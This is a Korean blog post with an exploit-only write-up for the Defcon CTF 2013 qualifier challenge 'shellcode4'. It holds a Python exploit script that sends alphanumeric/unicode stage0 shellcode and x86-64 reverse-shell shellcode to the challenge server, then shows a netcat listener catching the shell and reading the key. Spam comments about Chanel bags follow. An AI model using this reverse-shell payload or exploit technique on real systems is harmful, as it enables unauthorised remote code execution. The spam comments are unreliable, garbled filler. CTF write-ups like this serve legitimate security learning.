pwn3r tistory

Defcon CTF 2013 Qual - shellcode4 (Exploit only) 본문

CTF

Defcon CTF 2013 Qual - shellcode4 (Exploit only)

pwn3r 2013.07.07 19:09

Category : Pwnable (\xff\xe4\xcc)


penser


Summary : unicode shellcode, overwrite below byte


Exploit

#!/usr/bin/python


from socket import *

from struct import pack

import time


HOST = "penser.shallweplayaga.me"

PORT = 8273


"""

51 # push %rcx

00 45 00 # align

59 # pop %rcx

00 45 00

52 # push %rdx

00 45 00

58 # pop %rax

00 45 00

32 00 # xor (%rax), %al

50 # push %rax

00 45 00

5a # pop %rdx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 0a # add    %cl,(%rdx)          

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 4b 00 #### will be replaced

"""

stage0 = "\x51\x45\x59\x45\x52\x45\x58\x45\x32\x50\x45\x5a\x45\x59\x45\x59\x45\x59\x45\x59\x0a\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x4b\x00\x00"


shellcode = "\x90"*0x100 +\

"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97" +\

"\x48\xb9\x02\x00\x7a\x69\x00\x00\x00\x00\x51\x48\x89\xe6" +\

"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce" +\

"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f" +\

"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48" +\

"\x89\xe6\x0f\x05"


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

s.send("\xc3\x02\x00\x00")

time.sleep(0.5)

s.send(stage0+shellcode)

time.sleep(0.5)

s.close()




root@ubuntu:~# ./exploit.py


--------------------------------------------------------------


root@ubuntu:~# nc -lv 31337

Connection from 54.226.204.186 port 31337 [tcp/*] accepted

id

uid=1001(penser) gid=1001(penser) groups=1001(penser)

cat key

The key is: TBDHelloooookdkdkiekdiekdiek 


저작자 표시
신고
5 Comments
  • 프로필사진 Chanel Flats 2014.02.25 12:02 신고 습드For p2 were achieved

    I made 2 batches and revised the 2nd after making and tasting the 1st. I agree with everyone that says you must measure the red grapes to 1 pound (1+ bags of fresh red grapes. I made the 1st batch specifically per the recipe. dental salon without degree,Chanel Rain Boots, And agreement is easy merely do the about lifetime, this way project for the bags beneath vision, Merel법의
  • 프로필사진 Chanel Boots 2014.02.25 12:05 신고 니마amazon and ebay stores sell vera bradley bags,Chanel Rain Boots

    FDA standards are very strict when it is about food safety,Chanel Jelly Sandals, And fridges serve several purposes that maintain those standards. Besides simply keeping foods fresh and arranged, Refrigerating foods helps to keep them from producing bacteria, which enable it to hinder crosscontamination. Good commercial wine cooler적기
  • 프로필사진 Chanel Sneakers 2014.02.25 12:07 신고 에지51 am along april 17

    almost nothing will destroy photographic images faster than moisture and acidity. without the right protection and the correct kind of archival storage boxes, Water molecules will combine with acids contained in a wide variety of airborne pollutants to destroy the chemical dyes and photographic paper upon which your image is printed. Clear bags which are also used to store 가던
  • 프로필사진 Chanel Outlet 2014.02.25 12:10 신고 어습A subpar bag typically have longer

    Laptop bags for women were never as popular as they are now. Girls usually love small and highly regarded bags. you must, Girls with very important positions in their companies or the executives were the only ones obliged to wear them. Once you start being attentive to wine, noted to discover its exciting variety. A chardonnay is actually a chardonnay is known마일
  • 프로필사진 Chanel Rain Boots 2014.02.25 15:31 신고 마지Add a minute every your tea leaves steep

    Cereplast estimates that the total addressable promote for compostable blown film grades in Italy exceeds $500 million. Currently there are 4 legitimate competitors who produce compostable blown film that are predominantly based in Europe,Chanel, Each varying in size from just about $5 to $120 million in revenue. Based on current ethnic background, Curre있지
댓글쓰기 폼